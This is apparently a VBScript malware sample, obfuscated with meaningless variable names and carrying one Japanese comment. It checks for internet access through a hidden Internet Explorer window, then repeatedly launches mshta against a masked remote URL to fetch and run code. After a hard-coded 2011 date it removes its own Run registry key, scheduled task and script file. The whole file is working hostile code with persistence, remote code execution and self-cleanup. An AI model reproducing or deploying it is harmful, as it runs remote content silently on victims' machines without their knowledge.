Option Explicit
'On Error Resume Next ←元はコメントアウトしていません

Dim crfgeyrcyverzadfxercercbdrrot_dbaevfarcrxdute
Dim liefgyzfjreqrtybasxsgrtvtrtvsiyon_debatarcqke

crfgeyrcyverzadfxercercbdrrot_dbaevfarcrxdute = NOW()
liefgyzfjreqrtybasxsgrtvtrtvsiyon_debatarcqke = CDate("2011/08/23 16:48:12")

Dim WshSvercsaxtvdtyvtstetcddrcseunahelyakleqzl
Set WshSvercsaxtvdtyvtstetcddrcseunahelyakleqzl = CreateObject("WScript.Shell")

Dim WeawwdtottvdexcvxactvexacsDivraeciqtotvimsry
WeawwdtottvdexcvxactvexacsDivraeciqtotvimsry = WshSvercsaxtvdtyvtstetcddrcseunahelyakleqzl.ExpandEnvironmentStrings( "%SystemRoot%" )

If DateDiff("s", crfgeyrcyverzadfxercercbdrrot_dbaevfarcrxdute, liefgyzfjreqrtybasxsgrtvtrtvsiyon_debatarcqke) < 0 Then
	
	Dim regDirectory
	regDirectory = "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\stationery_bb0ae740cadb3e6221c6cbf4dbf451c8a8fca75e"
	WshSvercsaxtvdtyvtstetcddrcseunahelyakleqzl.RegDelete regDirectory
	
	Dim strCmd
	strCmd = "SCHTASKS /Delete /TN stationery_bb0ae740cadb3e6221c6cbf4dbf451c8a8fca75e /F"
	WshSvercsaxtvdtyvtstetcddrcseunahelyakleqzl.Run strCmd, 7, false
	
	Dim objFSO
	Dim strDelFile
	Dim selfFolder
	
	selfFolder = WshSvercsaxtvdtyvtstetcddrcseunahelyakleqzl.SpecialFolders("MyDocuments")
	strDelFile = selfFolder & "\stationery_bb0ae740cadb3e6221c6cbf4dbf451c8a8fca75e.vbs"
	Set objFSO = WScript.CreateObject("Scripting.FileSystemObject")
	If Err.Number = 0 Then
		objFSO.DeleteFile strDelFile, True
	End If
	
	Set WshSvercsaxtvdtyvtstetcddrcseunahelyakleqzl = Nothing
	Set objFSO = Nothing
	
Else
	Dim objIE
	Dim strBody
	Dim flg_connect
	
	Set objIE = CreateObject("InternetExplorer.Application")
	
	objIE.Width = 1
	objIE.Height = 1
	objIE.Left = 0
	objIE.Top = 0
	
	objIE.Visible = False
	
	objIE.Navigate "http://www.yahoo.co.jp/"
	
	Do Until objIE.Busy = False
	   WScript.sleep(250)
	Loop
	
	strBody = objIE.Document.getElementsByTagName("title").item(0).innerText
	
	If strBody = "Yahoo! JAPAN" Then
		flg_connect = True
	Else
		flg_connect = False
	End If
	
	objIE.Quit()
	
		If flg_connect = True Then
			Dim urfearvtvcafsycesrrcqscsexsjklCunexasmbqtd
			
urfearvtvcafsycesrrcqscsexsjklCunexasmbqtd = WeawwdtottvdexcvxactvexacsDivraeciqtotvimsry & "\system32\mshta http://*****.net/pc/page/player_view.php?agecode=kamakura&cuid=bb0ae740cadb3e6221c6cbf4dbf451c8a8fca75e"
WshSvercsaxtvdtyvtstetcddrcseunahelyakleqzl.Run urfearvtvcafsycesrrcqscsexsjklCunexasmbqtd, 7, false

urfearvtvcafsycesrrcqscsexsjklCunexasmbqtd = WeawwdtottvdexcvxactvexacsDivraeciqtotvimsry & "\system32\mshta http://*****.net/pc/page/player_view.php?agecode=kamakura&cuid=bb0ae740cadb3e6221c6cbf4dbf451c8a8fca75e"
WshSvercsaxtvdtyvtstetcddrcseunahelyakleqzl.Run urfearvtvcafsycesrrcqscsexsjklCunexasmbqtd, 7, false

urfearvtvcafsycesrrcqscsexsjklCunexasmbqtd = WeawwdtottvdexcvxactvexacsDivraeciqtotvimsry & "\system32\mshta http://*****.net/pc/page/player_view.php?agecode=kamakura&cuid=bb0ae740cadb3e6221c6cbf4dbf451c8a8fca75e"
WshSvercsaxtvdtyvtstetcddrcseunahelyakleqzl.Run urfearvtvcafsycesrrcqscsexsjklCunexasmbqtd, 7, false


		End If
	
	
End If